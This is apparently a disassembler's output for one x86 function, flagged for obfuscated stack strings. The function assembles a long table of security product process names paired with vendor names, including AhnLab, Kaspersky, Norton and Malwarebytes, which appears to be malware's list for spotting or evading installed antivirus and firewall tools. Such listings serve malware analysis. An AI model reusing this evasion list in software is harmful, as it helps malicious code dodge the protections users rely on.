Function at 0x401d8a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
sub esp, 0xf8
lea ebp, [esp - 4]
mov eax, dword [0x435280]
xor eax, ebp
mov dword [ebp + 0xf8], eax
push 0x280
mov eax, 0x427ddd
call fcn.00426166
push str.v3..lsv..c.exe
lea ecx, [ebp - 0x28c]
call fcn.004016ab
and dword [ebp - 4], 0
lea ecx, [ebp - 0x288]
mov esi, str.AhnLab
push esi
call fcn.004016ab
push str.ahn..sd.exe
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 1
call fcn.004016ab
push esi
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 2
call fcn.004016ab
push str.v3l..svc.exe
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 3
call fcn.004016ab
push str.Antiy_Labs_Antiy
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 4
call fcn.004016ab
push str.esd..30.exe
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 5
call fcn.004016ab
push str.Aladdin_eSafe
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 6
call fcn.004016ab
push str.ash..maisv.exe
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 7
call fcn.004016ab
mov esi, str.ALWIL_Avast__Antivirus
mov byte [ebp - 4], 8
push esi
lea ecx, [ebp - 0x268]
call fcn.004016ab
push str.ash..serv.exe
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 9
call fcn.004016ab
push esi
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0xa
call fcn.004016ab
push str.asw..updsv.exe
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0xb
call fcn.004016ab
push esi
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0xc
call fcn.004016ab
push str.ashwe..bsv.exe
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 0xd
call fcn.004016ab
push esi
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0xe
call fcn.004016ab
push str.ashsi..mpl.exe
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0xf
call fcn.004016ab
push esi
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0x10
call fcn.004016ab
push str.ashW..ebSv.exe
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0x11
call fcn.004016ab
push esi
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 0x12
call fcn.004016ab
push str.dvp..api.exe
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0x13
call fcn.004016ab
mov esi, str.Authentium_Command_Antivirus
mov byte [ebp - 4], 0x14
push esi
lea ecx, [ebp - 0x238]
call fcn.004016ab
push str.aut..hfw.exe
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 0x15
call fcn.004016ab
push esi
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0x16
call fcn.004016ab
push str.a..vg..rs..x.exe
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 0x17
call fcn.004016ab
mov esi, str.AVG_Technologies
mov byte [ebp - 4], 0x18
push esi
lea ecx, [ebp - 0x228]
call fcn.004016ab
push str.av..gui.exe
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x19
call fcn.004016ab
push esi
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0x1a
call fcn.004016ab
push str.avgu..ard.exe
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 0x1b
call fcn.004016ab
mov esi, str.Avira_AntiVir
mov byte [ebp - 4], 0x1c
push esi
lea ecx, [ebp - 0x218]
call fcn.004016ab
push str.avce..nter.exe
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x1d
call fcn.004016ab
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x210]
push esi
call fcn.004016ab
push str.avc..md.exe
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x1f
call fcn.004016ab
push esi
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x20
call fcn.004016ab
push str.avc..onfig.exe
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x21
call fcn.004016ab
push esi
lea ecx, [ebp - 0x200]
mov byte [ebp - 4], 0x22
call fcn.004016ab
push str.aves..vc.exe
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x23
call fcn.004016ab
push esi
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x24
call fcn.004016ab
push str.av..gnt.exe
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x25
call fcn.004016ab
push esi
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 0x26
call fcn.004016ab
push str.avma..ilc.exe
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0x27
call fcn.004016ab
push esi
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x28
call fcn.004016ab
push str.avmc..dlg.exe
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x29
call fcn.004016ab
push esi
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x2a
call fcn.004016ab
push str.qhn..tevl.exe
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 0x2b
call fcn.004016ab
push str.Cat_Computer_Services_Quick_Heal
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x2c
call fcn.004016ab
push str.cla..mav.exe
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x2d
call fcn.004016ab
push str.ClamAV
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x2e
call fcn.004016ab
push str.cma..in.exe
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x2f
call fcn.004016ab
push str.Comodo
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 0x30
call fcn.004016ab
push str.capf..aem.exe
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 0x31
call fcn.004016ab
push str.CCA_Inc_Vet
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x32
call fcn.004016ab
push str.a2ser..vice.exe
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0x33
call fcn.004016ab
push str.Emsi_Software_GmbH
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x34
call fcn.004016ab
push str.no..d32.exe
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x35
call fcn.004016ab
mov esi, str.Eset_Software_NOD32
mov byte [ebp - 4], 0x36
push esi
lea ecx, [ebp - 0x1b0]
call fcn.004016ab
push str.ekr..n.exe
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0x37
call fcn.004016ab
push esi
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x38
call fcn.004016ab
push str.ms..mpen..g.exe
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 0x39
call fcn.004016ab
push str.Microsoft_Security_Essential
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x3a
call fcn.004016ab
push str.av..asts..vc.exe
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x3b
call fcn.004016ab
push str.avast__Service
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x3c
call fcn.004016ab
push str.cc..svc..hst.exe
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x3d
call fcn.004016ab
push str.Symantec
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x3e
call fcn.004016ab
push str.mc..mscs..vc.exe
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x3f
call fcn.004016ab
push str.Mcafee
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 0x40
call fcn.004016ab
push str.bdag..ent.exe
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 0x41
call fcn.004016ab
push str.Bitdrfender_Internet_security
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x42
call fcn.004016ab
push str.se..ccen..ter.exe
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x43
call fcn.004016ab
push str.Bitdefender_Antivirus
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x44
call fcn.004016ab
push str.bda..gent.exe
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0x45
call fcn.004016ab
push str.Bitdefender_Total_Security
lea ecx, [ebp - 0x170]
mov byte [ebp - 4], 0x46
call fcn.004016ab
push str.drw..eb_5..00_win.exe
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 0x47
call fcn.004016ab
push str.Doctor_Web__Ltd_DrWeb
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x48
call fcn.004016ab
push str.for..ticli..ent.exe
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 0x49
call fcn.004016ab
mov esi, str.Fortinet
mov byte [ebp - 4], 0x4a
push esi
lea ecx, [ebp - 0x160]
call fcn.004016ab
push str.for..tifw.exe
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x4b
call fcn.004016ab
push esi
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x4c
call fcn.004016ab
push str.fp..av.exe
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 0x4d
call fcn.004016ab
push str.FRISK_Software_F_Prot
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x4e
call fcn.004016ab
push str.fsb..wsys.exe
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x4f
call fcn.004016ab
push str.F_Secure
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0x50
call fcn.004016ab
push str.gda..ta.exe
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x51
call fcn.004016ab
push str.G_DATA_Software_GData
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0x52
call fcn.004016ab
push str.th..av.exe
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 0x53
call fcn.004016ab
push str.Hacksoft_The_Hacker
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0x54
call fcn.004016ab
push str.vrm..ons..vc.exe
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x55
call fcn.004016ab
push str.Hauri_ViRobot
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x56
call fcn.004016ab
push str.np..rote..ct.exe
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0x57
call fcn.004016ab
mov esi, str.INCA_Internet_nProtect
mov byte [ebp - 4], 0x58
push esi
lea ecx, [ebp - 0x128]
call fcn.004016ab
push str.npes..can..nert.exe
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 0x59
call fcn.004016ab
push esi
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0x5a
call fcn.004016ab
push str.npl..ogi..nv.exe
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x5b
call fcn.004016ab
push esi
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x5c
call fcn.004016ab
push str.k..7.exe
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x5d
call fcn.004016ab
push str.K7_Computing_K7AntiVirus
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0x5e
call fcn.004016ab
push str.av..p.exe
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x5f
call fcn.004016ab
mov edi, str.Kaspersky_Lab_AVP
mov byte [ebp - 4], 0x60
push edi
lea ecx, [ebp - 0x108]
call fcn.004016ab
push str.av..pcc.exe
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x61
call fcn.004016ab
push edi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x62
call fcn.004016ab
mov esi, str.av..pm.exe
mov byte [ebp - 4], 0x63
push esi
lea ecx, [ebp - 0xfc]
call fcn.004016ab
push edi
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x64
call fcn.004016ab
push esi
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x65
call fcn.004016ab
push edi
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x66
call fcn.004016ab
push str.sca..n32.exe
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x67
call fcn.004016ab
mov esi, str.McAfee_VirusScan
mov byte [ebp - 4], 0x68
push esi
lea ecx, [ebp - 0xe8]
call fcn.004016ab
push str.mcw..ce.exe
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x69
call fcn.004016ab
push esi
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x6a
call fcn.004016ab
push str.edi..sk.exe
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x6b
call fcn.004016ab
push esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x6c
call fcn.004016ab
push str.mce..poc.exe
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x6d
call fcn.004016ab
mov byte [ebp - 4], 0x6e
push esi
lea ecx, [ebp - 0xd0]
call fcn.004016ab
push str.win..dow..s_kb..890..830_v3.4.exe
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x6f
call fcn.004016ab
push str.Microsoft_Malware_Protection
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x70
call fcn.004016ab
push str.cc..law.exe
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0x71
call fcn.004016ab
mov esi, str.Norman_Antivirus
mov byte [ebp - 4], 0x72
push esi
lea ecx, [ebp - 0xc0]
call fcn.004016ab
push str.zan..da.exe
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0x73
call fcn.004016ab
push esi
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x74
call fcn.004016ab
push str.z..lh.exe
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x75
call fcn.004016ab
push esi
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x76
call fcn.004016ab
push str.psc..trls.exe
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x77
call fcn.004016ab
mov esi, str.Panda_Security_Panda_Platinum
mov byte [ebp - 4], 0x78
push esi
lea ecx, [ebp - 0xa8]
call fcn.004016ab
push str.av..ltm..ain.exe
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0x79
call fcn.004016ab
push esi
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x7a
call fcn.004016ab
push str.av..ta..sk.exe
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x7b
call fcn.004016ab
push esi
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x7c
call fcn.004016ab
push str.pct..av.exe
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x7d
call fcn.004016ab
mov byte [ebp - 4], 0x7e
push str.PC_Tools_PCTools
lea ecx, [ebp - 0x90]
call fcn.004016ab
push str.pr..evx.exe
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x7f
call fcn.004016ab
push str.Prevx_Prevx1
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x80
call fcn.004016ab
push str.ra..v.exe
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x81
call fcn.004016ab
push str.Rising_Antivirus
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x82
call fcn.004016ab
push str.b..dn..age..nt.exe
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x83
call fcn.004016ab
mov esi, str.BitDefender_GmbH
mov byte [ebp - 4], 0x84
push esi
lea ecx, [ebp - 0x78]
call fcn.004016ab
push str.b..does..rv.exe
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x85
call fcn.004016ab
push esi
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x86
call fcn.004016ab
push str.als..vc.exe
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x87
call fcn.004016ab
push str.Sophos
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x88
call fcn.004016ab
push str.coun..ters..py.exe
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x89
call fcn.004016ab
push str.Sunbelt_Software
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x8a
call fcn.004016ab
push str.na..vset..up.exe
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x8b
call fcn.004016ab
mov esi, str.Symantec_Norton_Antivirus
mov byte [ebp - 4], 0x8c
push esi
lea ecx, [ebp - 0x58]
call fcn.004016ab
push str.na..vap..w32.exe
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x8d
call fcn.004016ab
push esi
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x8e
call fcn.004016ab
push str.n..avs..hco..m.exe
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x8f
call fcn.004016ab
push esi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x90
call fcn.004016ab
push str.n..s.exe
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x91
call fcn.004016ab
push esi
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x92
call fcn.004016ab
push str.v..ba3..2.exe
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x93
call fcn.004016ab
push str.VirusBlokAda
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x94
call fcn.004016ab
push str.t..mas.exe
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x95
call fcn.004016ab
mov esi, str.Trend_Micro
mov byte [ebp - 4], 0x96
push esi
lea ecx, [ebp - 0x30]
call fcn.004016ab
push str.ofcd..og.exe
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x97
call fcn.004016ab
push esi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x98
call fcn.004016ab
push str.tmoag..ent.exe
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x99
call fcn.004016ab
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9a
call fcn.004016ab
push str.ts..c.exe
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x9b
call fcn.004016ab
push esi
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x9c
call fcn.004016ab
push str.winp..rof.exe
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x9d
call fcn.004016ab
push str.VirusBuster
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0x9e
call fcn.004016ab
push str.ni..sum.exe
lea ecx, [ebp + 0xa0]
mov dword [ebp - 4], 0x9f
call fcn.004016ab
push str.Norton_Personal_Firewall_2002_2003
lea ecx, [ebp + 0xa4]
mov byte [ebp - 4], 0xa0
call fcn.004016ab
push str.mp..fServ..ice.exe
lea ecx, [ebp + 0xa8]
mov byte [ebp - 4], 0xa1
call fcn.004016ab
mov esi, str.McAfee_Personal_Firewall
mov byte [ebp - 4], 0xa2
push esi
lea ecx, [ebp + 0xac]
call fcn.004016ab
push str.bla..ckd.exe
lea ecx, [ebp + 0xb0]
mov byte [ebp - 4], 0xa3
call fcn.004016ab
push str.ISS_BlackIce
lea ecx, [ebp + 0xb4]
mov byte [ebp - 4], 0xa4
call fcn.004016ab
push str.fsdf..wd.exe
lea ecx, [ebp + 0xb8]
mov byte [ebp - 4], 0xa5
call fcn.004016ab
push esi
lea ecx, [ebp + 0xbc]
mov byte [ebp - 4], 0xa6
call fcn.004016ab
push str.sm..c.exe
lea ecx, [ebp + 0xc0]
mov byte [ebp - 4], 0xa7
call fcn.004016ab
push str.Sygate_Personal_Firewall_5.x
lea ecx, [ebp + 0xc4]
mov byte [ebp - 4], 0xa8
call fcn.004016ab
push str.zlcl..ient.exe
lea ecx, [ebp + 0xc8]
mov byte [ebp - 4], 0xa9
call fcn.004016ab
push str.Zone_Alarm
lea ecx, [ebp + 0xcc]
mov byte [ebp - 4], 0xaa
call fcn.004016ab
push str.per..sfw.exe
lea ecx, [ebp + 0xd0]
mov byte [ebp - 4], 0xab
call fcn.004016ab
push str.Tiny_Firewall
lea ecx, [ebp + 0xd4]
mov byte [ebp - 4], 0xac
call fcn.004016ab
push str.efpea..dm.exe
lea ecx, [ebp + 0xd8]
mov byte [ebp - 4], 0xad
call fcn.004016ab
push str.CA_eTrust_EZ_Firewall
lea ecx, [ebp + 0xdc]
mov byte [ebp - 4], 0xae
call fcn.004016ab
push str.fs..guiex..e.exe
lea ecx, [ebp + 0xe0]
mov byte [ebp - 4], 0xaf
call fcn.004016ab
push str.F_Secure_Internet_Security_2004
lea ecx, [ebp + 0xe4]
mov byte [ebp - 4], 0xb0
call fcn.004016ab
push str.kp..f4g..ui.exe
lea ecx, [ebp + 0xe8]
mov byte [ebp - 4], 0xb1
call fcn.004016ab
push str.Kerio_Personal_Firewall_4
lea ecx, [ebp + 0xec]
mov byte [ebp - 4], 0xb2
call fcn.004016ab
push str.pccp..fw.exe
lea ecx, [ebp + 0xf0]
mov byte [ebp - 4], 0xb3
call fcn.004016ab
push str.Trend_Micro_Internet_Security
lea ecx, [ebp + 0xf4]
mov byte [ebp - 4], 0xb4
call fcn.004016ab
push str.A..d_Awa..re.exe
lea ecx, [ebp]
mov byte [ebp - 4], 0xb5
call fcn.004016ab
push str.Lavasoft_Ad_Aware
lea ecx, [ebp + 4]
mov byte [ebp - 4], 0xb6
call fcn.004016ab
push str.sp..ycat..cher.exe
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0xb7
call fcn.004016ab
mov esi, str.Tenebril_Spy_Catcher
mov byte [ebp - 4], 0xb8
push esi
lea ecx, [ebp + 0xc]
call fcn.004016ab
push str.sp..yswe..eper.exe
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 0xb9
call fcn.004016ab
push str.Webroot_Spy_Sweeper
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 0xba
call fcn.004016ab
push str.su..nass..erv.exe
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 0xbb
call fcn.004016ab
push str.Sunbelt_Counter_Spy
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 0xbc
call fcn.004016ab
push str.gc..ass..erv.exe
lea ecx, [ebp + 0x20]
mov byte [ebp - 4], 0xbd
call fcn.004016ab
push str.Microsoft_Anti_Spyware
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 0xbe
call fcn.004016ab
push str.ppa..ctivede..tection.exe
lea ecx, [ebp + 0x28]
mov byte [ebp - 4], 0xbf
call fcn.004016ab
push str.CA_eTrust_Pest_Patrol
lea ecx, [ebp + 0x2c]
mov byte [ebp - 4], 0xc0
call fcn.004016ab
push str.mssc..li.exe
lea ecx, [ebp + 0x30]
mov byte [ebp - 4], 0xc1
call fcn.004016ab
push str.Mc_Affee_AntiSpyware
lea ecx, [ebp + 0x34]
mov byte [ebp - 4], 0xc2
call fcn.004016ab
push str.s..wdoct..or.exe
lea ecx, [ebp + 0x38]
mov byte [ebp - 4], 0xc3
call fcn.004016ab
push str.Pc_Tools_Spyware_Doctor
lea ecx, [ebp + 0x3c]
mov byte [ebp - 4], 0xc4
call fcn.004016ab
push str.sp..yca..tcher.exe
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], 0xc5
call fcn.004016ab
push esi
lea ecx, [ebp + 0x44]
mov byte [ebp - 4], 0xc6
call fcn.004016ab
push str.sp..ywar..ebeg..one.exe
lea ecx, [ebp + 0x48]
mov byte [ebp - 4], 0xc7
call fcn.004016ab
push str.MicroSmarts_LLC_Spyware_BeGone
lea ecx, [ebp + 0x4c]
mov byte [ebp - 4], 0xc8
call fcn.004016ab
push str.vi..pre.exe
lea ecx, [ebp + 0x50]
mov byte [ebp - 4], 0xc9
call fcn.004016ab
push str.Vipre_AntivirusAntispyware
lea ecx, [ebp + 0x54]
mov byte [ebp - 4], 0xca
call fcn.004016ab
push str.tm..as.exe
lea ecx, [ebp + 0x58]
mov byte [ebp - 4], 0xcb
call fcn.004016ab
push str.Trend_Micro_Anti_Spyware
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], 0xcc
call fcn.004016ab
push str.loa..ristro..janrem..over.exe
lea ecx, [ebp + 0x60]
mov byte [ebp - 4], 0xcd
call fcn.004016ab
mov byte [ebp - 4], 0xce
push str.Loaris_Trojan_Remover
lea ecx, [ebp + 0x64]
call fcn.004016ab
push str.sp..ywar..ed..etec..tor.exe
lea ecx, [ebp + 0x68]
mov byte [ebp - 4], 0xcf
call fcn.004016ab
push str.Max_Secure_Max_Spyware_Detector
lea ecx, [ebp + 0x6c]
mov byte [ebp - 4], 0xd0
call fcn.004016ab
push str.st..opzil..la.exe
lea ecx, [ebp + 0x70]
mov byte [ebp - 4], 0xd1
call fcn.004016ab
push 0x42f3b0
lea ecx, [ebp + 0x74]
mov byte [ebp - 4], 0xd2
call fcn.004016ab
push str.mb..am.exe
lea ecx, [ebp + 0x78]
mov byte [ebp - 4], 0xd3
call fcn.004016ab
push str.Malwarebytes_Anti_Malware
lea ecx, [ebp + 0x7c]
mov byte [ebp - 4], 0xd4
call fcn.004016ab
push str.xo..ftsp..yse.exe
lea ecx, [ebp + 0x80]
mov byte [ebp - 4], 0xd5
call fcn.004016ab
push str.Pareto_Logic_XoftSpySE
lea ecx, [ebp + 0x84]
mov byte [ebp - 4], 0xd6
call fcn.004016ab
push str.Sp..yzo..oka.exe
lea ecx, [ebp + 0x88]
mov byte [ebp - 4], 0xd7
call fcn.004016ab
push str.Blue_Penguin_Software_Spyzooka
lea ecx, [ebp + 0x8c]
mov byte [ebp - 4], 0xd8
call fcn.004016ab
push str.x..m_00..002.exe
lea ecx, [ebp + 0x90]
mov byte [ebp - 4], 0xd9
call fcn.004016ab
push str.X_Micro_Antispyware
lea ecx, [ebp + 0x94]
mov byte [ebp - 4], 0xda
call fcn.004016ab
push str.h..k_a..nti_sp..ywar..e.exe
lea ecx, [ebp + 0x98]
mov byte [ebp - 4], 0xdb
call fcn.004016ab
push str.HK_Antispyware
lea ecx, [ebp + 0x9c]
mov byte [ebp - 4], 0xdc
call fcn.004016ab
push 0
push 0x50
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0xdd
push eax
call fcn.00402e5f
push 1
push 0xb
lea eax, [ebp + 0xa0]
push eax
call fcn.00402e5f
push 2
push 0x14
lea eax, [ebp]
push eax
call fcn.00402e5f
mov esi, 0x401706
mov byte [ebp - 4], 0xb5
push esi
push 0x28
push 4
lea eax, [ebp]
push eax
call fcn.004112a1
push esi
push 0x16
push 4
lea eax, [ebp + 0xa0]
mov byte [ebp - 4], 0x9f
push eax
call fcn.004112a1
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x28c]
push esi
push 0xa0
push 4
push eax
call fcn.004112a1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xf8]
xor ecx, ebp
call fcn.00410875
lea esp, [ebp + 0xfc]
pop ebp
ret